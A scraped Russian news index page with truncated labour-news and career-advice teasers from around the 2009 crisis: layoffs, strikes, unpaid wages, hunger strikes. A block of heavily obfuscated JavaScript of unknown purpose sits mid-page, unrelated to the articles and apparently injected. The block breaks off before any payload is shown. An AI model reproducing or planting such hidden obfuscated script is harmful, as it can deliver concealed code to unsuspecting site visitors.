Новости
Евсеева Елена
Как сохранить работу при смене собственника
У вашей компании новый владелец. Он наверняка захочет поменять топ-менеджеров. А те, в свою очередь, примутся формировать новую команду. Эксперты «Труда» дают четыре совета, как зарекомендовать себя перед новым руководством и сохранить работу.
1. Не прыгайте через голову
Чтобы сохранить работу, вам предстоит убедить своего нового шефа в собственной незаменимости. Для этого совершенно не нужно добиваться встречи с высшим руководством, чтобы лично сообщить, как вы любите компанию и готовы верой и правдой служить ей дальше. Этим вы лояльность не продемонстрируете,...
В большинстве российских компаний сотрудникам запрещают пользоваться социальными сетями. Руководители уверены, что клерков это только отвлекает. «Труд» выяснил, как на самом деле бывают полезны соцсети в работе обычного офисного служащего.
Чего боится руководство, когда блокирует сайты «Одноклассники.ру», «Вконтакте.ру», «Живой журнал», а также ICQ и другие программы — единственную радость человека, который дни напролет проводит в офисе? Во-первых, они мешают сотруднику сконцентрироваться на делах, считают начальники. Во-вторых, есть риск, что подчиненный, гуляя по популярным сайтам, подцепит какой-нибудь вирус. В-третьих, руководство печется об информационной безопасности компании: общаясь в Сети, вы можете жаловаться на шефа-самодура и бухгалтера-жадину.
Нашла в Сети...
Заставка на компьютере выдает то, что вы хотите скрыть от коллег
Рабочий стол компьютера скажет о вас больше, чем вы хотели бы. Эксперты «Труда» рассказывают, что поймут шеф и коллеги при одном взгляде на ваш компьютер.
Мультгерой
Алексей:
— Мне симпатичны все медведи, панды особенно. И картинка нарисована в таких теплых тонах, которые помогают хоть чуть-чуть сбросить напряжение в течение рабочего дня. Несмотря на свое вооружение, медведь-панда настроен совсем не агрессивно.
Выводы шефа
Начальник может и не оценить вашу креативность и веселый нрав. У него сложится впечатление, что вы живете...
Каковы ваши шансы сохранить работу после третьей волны сокращений? Пройдите тест «Труда»
Третью волну сокращений ожидают в сентябре. С помощью экспертов «Труд» определил пять главных критериев, по которым работодатели будут выбирать кандидатов на увольнение. Ответьте «да» или «нет» на 5 вопросов и подсчитайте полученные баллы.
1. Вы менеджер-универсал? («да» — 8 баллов)
Вы многофункциональны, можете работать за семерых и не боитесь делать не свою работу? В таком случае, если у организации возникнет необходимость объединять отделы, вас оставят. «С помощью разносторонне развитого сотрудника...
Эти три качества помогают во время кризиса найти работу с повышением
Далеко не все во время кризиса сидят без дела и страдают. Те, кто готов к перемене мест, новым задачам, работе в сжатые сроки и умеет торговаться за зарплату и график, чувствуют себя сегодня не хуже, чем до кризиса.
Касту так называемых карьеристов составляют успешные сотрудники, активные, подвижные, не привыкшие долгое время сидеть на одном месте. Поэтому, когда такой человек считает, что пора менять место работы, никакой кризис его не напугает и не остановит.
Чаще всего это мужчина в возрасте 30–40 лет. У него два высших образования. Причем...
Как управлять отделом, когда задерживают зарплату
Во время кризиса задержки зарплаты становятся нормой. Но люди не готовы работать за просто так. Эксперты "Труда" дают пять советов, как мотивировать людей, которые не получали причитающееся уже месяц.
Вы как линейный руководитель финансовые вопросы компании не решаете. Но подчиненные - ваши, и именно вам работать с людьми, которые вот-вот разочаруются в работе. Чтобы управлять коллективом в такой критической ситуации, придется не только включить фантазию, но и закатать повыше рукава.
Вы должны понять, что в таких условиях уже не сможете требовать от сотрудников перерабатывать. Больше того, теперь вы просто обязаны работать наравне...
Во вторник на Дальнем Востоке началась акция по защите трудовых прав моряков. Международная федерация транспортных рабочих совместно с Российским профсоюзом моряков проведут инспекцию на судах, которые ходят под так называемыми "удобными" флагами.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else...
Вчера вечером в Лондоне началась 48-часовая забастовка, в которой участвуют 10 тысяч работников метро, включая машинистов, станционный и обслуживающий персонал. Рабочие недовольны планами руководства, которое собирается сократить около 3 тысяч человек, а остальным в течение 5 лет не поднимать зарплату.
Сотрудники лондонского метрополитена требуют улучшения условий труда и повышения зарплаты. Однако управляющая компания "Транспорт Лондона" (Transport for London) не собирается увеличивать размер оплаты труда.
Профсоюз транспортных работников (RMT) требовал отменить так называемый пятилетний зарплатный план, благодаря которому в ближайшие 5 лет роста зарплаты можно не ждать. Но к компромиссу с работодателем прийти не удалось. Вот как прокомментировал ситуацию лидер профсоюза Боб Кроу: "Руководство не только не смогло разрешить существующий спор - оно даже оказалось неспособным придерживаться уже достигнутых договоренностей". В свою...
Они требовали погашения долгов по зарплате. Вчера на их счета начали поступать долгожданные деньги. Голодовка прекращена.
Последние сокращения на предприятии прошли еще в феврале этого года. Все эти месяцы работники не получали ни зарплату, ни компенсацию, положенную при сокращении. Две недели назад вместо пособия уволенным выдавали продукты: крупы, тушенку, растительное масло, колбасу.
Чтобы выбить долги из работодателя, 2 июня около 60 бывших сотрудников БЦБК с палатками вышли на центральную площадь Байкальска и расположились перед городской администрацией. В палаточном городке голодающие провели неделю. О том, что руководство решило-таки выплатить зарплату бастующим, сообщил генеральный директор компании "Континенталь Менеджмент", в ведомстве которой...
Когда у работников назревает конфликт с работодателем, есть два пути его решения. Можно применить силу и, как сотрудники заводов в Пикалево, перекрыть федеральную трассу, чтобы добиться своего. А можно пойти мирным путем и начать долгий и трудный, но подчас более эффективный переговорный процесс. "Труд" выяснил, кому в России удалось договориться с работодателем.
Договориться о выгодных для себя условиях работники могут, заключив коллективный договор. Предложив руководству предприятия подписать такой документ, профсоюзные организации практически не оставляют работодателю путей для отступления: если на переговорах компромисса достичь не удается, у работников есть полное право затевать процесс коллективного трудового спора, а если и его результаты не удовлетворяют, можно идти на забастовку. Подобная игра стоит свеч, потому что коллективный договор на ближайшие несколько лет может обеспечить сотрудников стабильной работой и многочисленными льготами.
Авиадиспетчеры
"Мы заключили коллективный...
Почти три недели продолжалась голодовка бывших стюардесс "Крас-Эйр", которые после банкротства авиакомпании с сентября не могут получить расчет и долги по зарплате. Вчера вечером женщины вернулись домой, поверив обещаниям компании погасить долги до конца недели. Стюардессы заверяют, что возобновят акцию протеста, если деньги не будут выплачены.
Компания "Красноярские авиалинии", закрывшаяся еще осенью прошлого года, до сих пор не может рассчитаться с долгами по зарплате своим работникам. Стюардессы, ждавшие зарплаты, компенсаций и выходных пособий больше полугода, были вынуждены начать голодовку.
14 мая 17 бортпроводниц закрылись в однокомнатной квартире одной из коллег, взяв с собой матрасы, питьевую воду и лекарства. Они решили отказаться от еды до тех пор, пока бывший работодатель с ними не рассчитается. Уже на следующий день одну из участниц акции увезли в больницу с гипертоническим кризом. Еще одна, Ольга Лебедева, сдалась на четвертый день после встречи голодающих...
Работники производственных предприятий - главные жертвы кризиса. Об этом говорят результаты последнего исследования фонда "Общественное мнение". Положение российских рабочих этой весной куда хуже, чем у "белых воротничков", которые еще недавно считались главными жертвами кризиса.
Прошлой осенью рабочие относились как раз к той категории граждан, которые не верили в серьезность кризиса. По данным ноябрьских исследований ФОМа, только около 15% рабочих были обеспокоены мировыми экономическими потрясениями, сегодня таких людей почти 80%.
Более половины рабочих (55%) уже испытали на себе сокращение зарплат, переход на короткую рабочую неделю, упразднение соцпакета. Остальным 45% пока повезло больше, но они также опасаются ухудшения ситуации на своих предприятиях.
Положение рабочих усугубляется еще и тем, что они менее мобильны, чем офисные клерки, им труднее найти себя в другой профессии. 74% опрошенных не верят...
Более 70 тысяч учителей вышли на митинг на центральный проспект Лиссабона, срывая проведение школьных выпускных экзаменов. Участники акции выступают против политики министерства образования, которое хочет ввести новую систему оплаты труда.
Правительство страны планирует ввести обязательную аттестацию, после которой все преподаватели школ помимо уже существующих категорий будут поделены на первый и второй классы. При этом право называться учителем и получать сносную зарплату будут иметь только те, кто попадет в первый класс. Все остальные будут иметь полупрофессиональный статус и право работать не более чем на половину ставки. Сегодня зарплата школьного преподавателя в Лиссабоне - 1200 евро, преподавателя университета в Коимбре без надбавок за ученую степень - 1700 евро.
Планируемые правящей Социалистической партией нововведения не встречают одобрения среди работников...
Владимир Путин решил поделиться советами по управлению кадрами, написав колонку в журнал "Русский пионер". "Труд" рассмотрел предложенные Путиным тезисы и обсудил их с признанными профессионалами. Избранные места из колонки премьера обсуждают наши эксперты.
"Иногда со стороны кажется, что человека надо просто метлой гнать. Но я вас уверяю, что это не всегда так. Ни в коем случае нельзя человека опорочить за глаза, нельзя уволить и выбросить вон только потому, что кто-то что-то тебе сказал про этого человека... Я слишком хорошо понимаю, что в таких случаях часто имеет место сложная политическая борьба".
Александр Сивогривов, Независимый HR-специалист:
- Когда систему изнутри подтачивают слухи, это ненормально. Чтобы такого не было, важно правильно организовать систему оплаты труда. Она должна быть сдельная. Тогда у всех сотрудников будут четкие представления о коэффициентах оценки...
О поколении современных детей шутят, что они родились с компьютерной мышью в руке. Намного быстрее и успешнее своих родителей они осваивают технические новинки. Еще плохо читают, но уже пишут SMS-сообщения. Пока не знают английского, но с легкостью разбираются в компьютерных программах. Методы воспитания прошлого века устарели, поэтому новые нужно придумывать самим родителям.
Тех, кто родился в самом начале нового века - после 2000 года, - социологи называют "поколением Z". Эти дети появляются на свет в совершенно другом мире по сравнению со своими родителями. Их окружают телевидение, интернет, реклама, рыночные отношения, яркие картинки. Дети воспринимают разнообразие как данность, норму жизни, тогда как многие родители помнят, как все это навалилось, когда рухнул железный занавес. Ребенку нового поколения не объяснишь, что такое дефицит. Да и жизненные ценности формируются совершенно другие.
Век информационных технологий накладывает свой отпечаток. "Новые дети по-другому воспринимают информацию. Они...
Сотрудники предприятий, близких к банкротству, могут быть уверены, что с ними рассчитаются в полной мере. Теперь разорившиеся работодатели сначала будут отдавать долги по зарплате и только потом рассчитываться с кредиторами. Соответствующую поправку в закон Госдума должна принять в ближайшее время. Президент России идею уже одобрил.
На встрече председателя Федерации независимых профсоюзов России (ФНПР) Михаила Шмакова с президентом Дмитрием Медведевым обсуждалась актуальная как никогда проблема: работники предприятий, объявивших себя банкротами, вынуждены месяцами ждать своих денег. Сегодня в первую очередь погашаются долги перед сторонними кредиторами, а также госбюджетом. Более того, зачастую, когда очередь доходит до зарплаты работникам, денег уже не остается.
Федерация независимых профсоюзов выступила с предложением на первое место в очереди кредиторов поставить сотрудников, а уже потом расплачиваться по остальным пунктам. "В ближайшее время в Государственной...
Рынок услуг по подбору персонала начиная с 2000 года стремительно рос. За последние полгода - с начала кризиса - он фактически рухнул. Более трети рекрутинговых компаний обанкротились, остальные вернулись к показателям 3-4-летней давности.
Чтобы расторгнуть договор с рекрутинговой компанией, которая подбирает специалистов на вакансии работодателя, нужно гораздо меньше времени, чем, скажем, на то, чтобы подобрать более дешевое офисное здание и переехать туда. Поэтому первое, что сделали осенью компании, - закрыли имеющиеся вакансии.
"В конце прошлого года работодателей одолела паника. Многие увольняли, не размышляя", - считает исполнительный директор Ассоциации консультантов по подбору персонала Валерий Оськин. Естественно, в этих условиях новых людей на работу не брали, а значит, пропала потребность и в рекрутерах. В среднем объем рынка услуг по подбору персонала за...
Чтобы снизить безработицу среди молодежи, мэр столицы Юрий Лужков на заседании Совета ректоров Москвы и Московской области сообщил, что для молодых специалистов он готов открыть вакансии в организациях исполнительной власти.
По данным мониторинга, в этом году почти 10 тысяч выпускников столичных учебных заведений не смогут найти работу. "Я готов принять решение о снятии запрета принимать на вакантные должности новых сотрудников и молодежь. Готов открыть вакансии под молодых специалистов, хотя для города это дополнительные расходы", - сказал Юрий Лужков. Также мэр Москвы попросил ректоров вузов организовать работу по трудоустройству вчерашних студентов, отметив, что самое главное - предложить каждому выпускнику хотя бы по одной вакансии.
Руководитель столичного департамента семейной и молодежной политики Людмила Гусева отметила, что более 80% иногородних...
К концу лета у Германии могут возникнуть трудности с выплатой пособий по безработице. Уже сейчас ведомство готовится к процедуре банкротства.
Чтобы реализовать все запланированные до 2013 года программы и мероприятия, агентству требуется 55 миллиардов евро. Из них 16 миллиардов необходимы уже сейчас, но их нет. Имеющиеся в активе ведомства деньги закончатся к концу лета, и в агентстве пока плохо понимают, откуда брать средства на выплату пособий безработным, которых сейчас в Германии насчитывается 4,6 миллиона человек.
Причина этой проблемы - не столько последствия экономического кризиса, сколько результат принятых решений чиновников госаппарата. Раньше агентство получало проценты с налога на добавленную стоимость ежемесячно, а сейчас эту процедуру решили изменить, и теперь...
Вы замечаете, что один из сотрудников резко сдает позиции. Все чаще он допускает в работе ошибки и не укладывается в отведенные для выполнения задачи сроки. "Труд" предлагает линейным руководителям поработать карьерными докторами, чтобы установить причину "болезни" и самостоятельно прописать лечение.
Чтобы вылечить "больного" подчиненного, который вдруг потерял свои профессиональные навыки и привычную работоспособность, присмотритесь к симптомам. Затем оцените среду, постарайтесь определить, насколько она располагает к развитию "недуга". После этого можно будет приступить к лечению.
1. Нервное зарплатное расстройство
Внезапная неспособность выполнять свою работу может быть связана с эмоциональным потрясением. К примеру, ваш подчиненный узнал, что новый сотрудник, пришедший пару месяцев назад, получает в полтора раза больше, чем он. "И это при том, - думает сотрудник, - что он новичок, ему все помогают, спрос с него меньше"....
Накануне Дня Победы на главном танкостроительном заводе страны едва не остановилось производство. К счастью, замерли лишь цеха, выпускавшие вполне мирную продукцию - вагоны для РЖД. Заказы от Минобороны и Рособоронэкспорта пока есть, но высок риск, что их объемы сократятся.
Вероятность того, что до начала июня удастся решить существующие проблемы, невелика. Однако, по словам начальника управления информации и связи с общественностью завода Бориса Минеева, говорить о продлении вынужденного отпуска в связи с простоем пока рано.
Единственный производитель танков Т-90 Уралвагонзавод помимо спецтехники выпускает вагоны, тракторы, ремонтно-механические инструменты. В отпуск отправлены как раз работники цехов по производству вагонов. Цеха, выполняющие заказы оборонки, продолжат работать.
Заказы на спецтехнику от Минобороны на 2009 год есть, значит, сотрудникам механосборочного завода в составе Уралвагонзавода...
По-разному решается вопрос финансирования поздравительных мероприятий к 9 Мая в городах России. В мелких и средних, как правило, этим занимается администрация города. В крупных ответственность перекладывается на муниципалитеты и управы районов. А на местах, в свою очередь, ищут деньги как могут: выкраивают из бюджета или привлекают спонсоров. В итоге получается, что одному ветерану дарят комплект постельного белья, а живущему в другом районе - открытку и цветы.
Что дарят
В московской администрации велосипед изобретать не стали. Участникам ВОВ вручат так называемые праздничные продуктовые наборы. К праздничным продуктам власти относят варено-копченую колбасу, чай, кофе, сельдь и еще несколько наименований. В мэрии отмечают, что этим не ограничатся. До конца года одиноким ветеранам будут сделаны более значительные подарки: холодильники, телевизоры, стиральные машины вручат тем из них, кто этих благ не имеет.
Ветераны, живущие в Смоленской области, помимо открытки, подписанной лично губернатором, тоже получат поздравительные наборы. В паек входят крупы, консервы, растительное масло, колбаса...
Вы много работаете, поэтому значительная часть забот о младшем ребенке ложится на плечи первенца. Нужно правильно передать маленькому помощнику дополнительные обязанности, иначе ваши отношения испортятся.
В нынешней кризисной ситуации российские семьи стали экономить на всем, в том числе и на нянях, которые бы занимались воспитанием их детей. Из-за этого обязанности гувернантки родители часто перекладывают на старшего ребенка. Зачастую это перераспределение ролей не улучшает отношений между детьми. Более того, если разница в возрасте между детьми - 8-12 лет, то отношения могут просто испортиться на долгое время, например до тех пор, пока младшему не исполнится лет 20 и он не станет взрослым человеком.
Безусловно, ребенка нужно посвящать в проблемы семьи, но важно, в какой степени. "Тяжелые перемены могут оказаться непосильной ношей...
В документе, который подписали 30 апреля три стороны, содержатся рекомендации по взаимодействию работников и работодателей в условиях экономического кризиса. Главная цель - предотвратить массовую безработицу.
В состав трехсторонней комиссии по регулированию социально-трудовых отношений вошли глава Минздравсоцразвития России Татьяна Голикова, президент Российского союза промышленников и предпринимателей Александр Шохин и председатель Федерации независимых профсоюзов России Михаил Шмаков.
Для того, чтобы сохранить рабочие места, комиссия предлагает предприятиям на определенный период отказаться от сверхурочной работы, а также работы в выходные и нерабочие праздничные дни. Временно рекомендуют отказаться от практики совмещения профессий.
Еще одна из мер - ввести режим неполного рабочего дня или недели с пересмотром размера зарплаты, а...
Генеральный директор красноярской строительной фирмы "Элитстрой" Алексей Ярошевич застрелился в
Генеральный директор красноярской строительной фирмы "Элитстрой" Алексей Ярошевич застрелился в собственном автомобиле. В предсмертной записке мужчина написал о больших долгах, рассчитаться с которыми, по-видимому, ему не представлялось возможным. Его тело нашли 2 апреля.
В Екатеринбурге 37-летний бизнесмен Александр Доронин повесился в своей квартире в октябре 2008 года. Предпринимателю принадлежало несколько ресторанов: японский "Ем Сам", итальянский "Моретти", русский "Малина", семейный "Портофино", а также ряд заведений сети "Баскин Роббинс". Доронин был связан солидными долговыми обязательствами.
Свели счеты с жизнью оба руководителя...
На 20% меньше теперь будут получать исполнительные и старшие вице-президенты предприятия. Об этом сообщил президент "АвтоВАЗа" Борис Алешин после заседания экспертного совета по вопросам автопрома в Государственной думе.
Решение уже утверждено правлением компании и подписано самим Алешиным. Кроме того, планируется пересмотреть оплату труда сотрудников, работающих на предприятии по контракту. Предполагается, что она будет зависеть от финансовых показателей работы концерна.
Отменены с 1 ноября и премии. По словам президента компании, теперь они будут выплачиваться в зависимости от "целевых показателей работы" всей организации. Для каждого из руководителей разработан набор из 17 показателей, соответствие которым и позволит получить вознаграждение.
Государство пообещало предоставить компании помощь в размере 25 млрд. рублей. Сейчас долги предприятия...
Вы не можете приходить на работу вовремя. Нужно ли объяснять это шефу и как выкрутиться, когда вас прижали к стенке, обещая выговор за опоздания? Варианты ответов по 10-балльной шкале оценили генеральные директора компаний, HR-специалисты и психолог.
"Мне не совсем удобно приезжать к девяти утра. Можем ли мы пересмотреть график моего прихода и ухода при условии, что качество моей работы не ухудшится?" - 9,2*
Александр Сивогривов
Независимый HR-специалист:
- Это конструктивный и очень правильный подход к решению рабочих трудностей. Если обстоятельства действительно заставляют вас нарушать установленные в компании порядки, вы вполне можете предложить начальнику пересмотреть некоторые правила. Конечно, при этом важно, чтобы вы были твердо уверены, что на самом деле справитесь с поставленными задачами. Кроме того, этот вариант ответа актуален только для тех сотрудников, в обязанности...
В ходе проверок Генеральная прокуратура РФ сделала вывод, что значительная часть выделенных из госбюджета денег тратилась не по делу. Председателю наблюдательного совета фонда ЖКХ порекомендовали пересмотреть план расходов, а генеральному директору Константину Цицину - забрать трудовую книжку.
За 2008 год Фонд содействия реформированию ЖКХ потратил более 340 млн. рублей, из которых только на оплату труда 97 сотрудников ушло 234,9 млн.
За прошлый год общая сумма вознаграждений руководству фонда - генеральному директору и его заместителям - обошлась организации в 55 млн. рублей. Премия главы фонда Константина Цицина по итогам работы за год составила 16,5 млн. рублей. Это в несколько раз больше, чем официальные доходы высших должностных лиц государства.
Фонд ЖКХ тратили не только на зарплаты работников. Также он заботился о сотрудниках, вынужденных ездить в командировки: часть расходов связана с покупкой билетов бизнес-класса...
Чтобы получить работу швейцара, официанта или горничной, нужно уметь свободно говорить на английском и обладать простым человеческим обаянием.
"Националь"
Основное требование к персоналу гостиницы - знание английского языка в совершенстве. Это касается тех сотрудников, кто при работе непосредственно контактирует с гостями отеля, то есть официантов, администраторов, горничных, швейцаров. Высшее образование для работников службы приема гостей и ресторанной службы необязательно. Относительно внешнего вида особых пожеланий нет. Важно следующее: волосы должны быть убраны, никаких вызывающих украшений или яркого макияжа и маникюра.
"Метрополь"
Обслуживающий персонал выполняет технические функции и интеллектуальной деятельностью не занимается. Поэтому, как рассказал наш источник,...
В рейтинг вошли 15 самых успешных и влиятельных бизнес-леди, возглавляющих крупнейшие компании в США. На верхних строчках оказались женщины, чьи доходы исчисляются миллионами долларов. Самое интересное, что карьеру эти американки делали без активного содействия мужей, братьев и отцов.
Первым в списке значится имя Патриши Воертз, президента и генерального директора корпорации Archer Daniels Midland, производящей этанол и биопродукты. Годовой доход Патриши составил 17,5 миллиона долларов.
Патриша Воертз, которой сейчас 56 лет, родилась и училась в штате Пенсильвания. В 1974 году она получила диплом бакалавра по специальности "бухучет". Карьеру начала в компании Ernst&Young в должности бухгалтера. В 1977 году занялась маркетингом и стратегическим планированием в нефтяной компании Gulf Oil Corporation. В течение почти 20 лет занимала высокие руководящие посты в крупных нефтяных компаниях, таких как Gulf и Chevron....
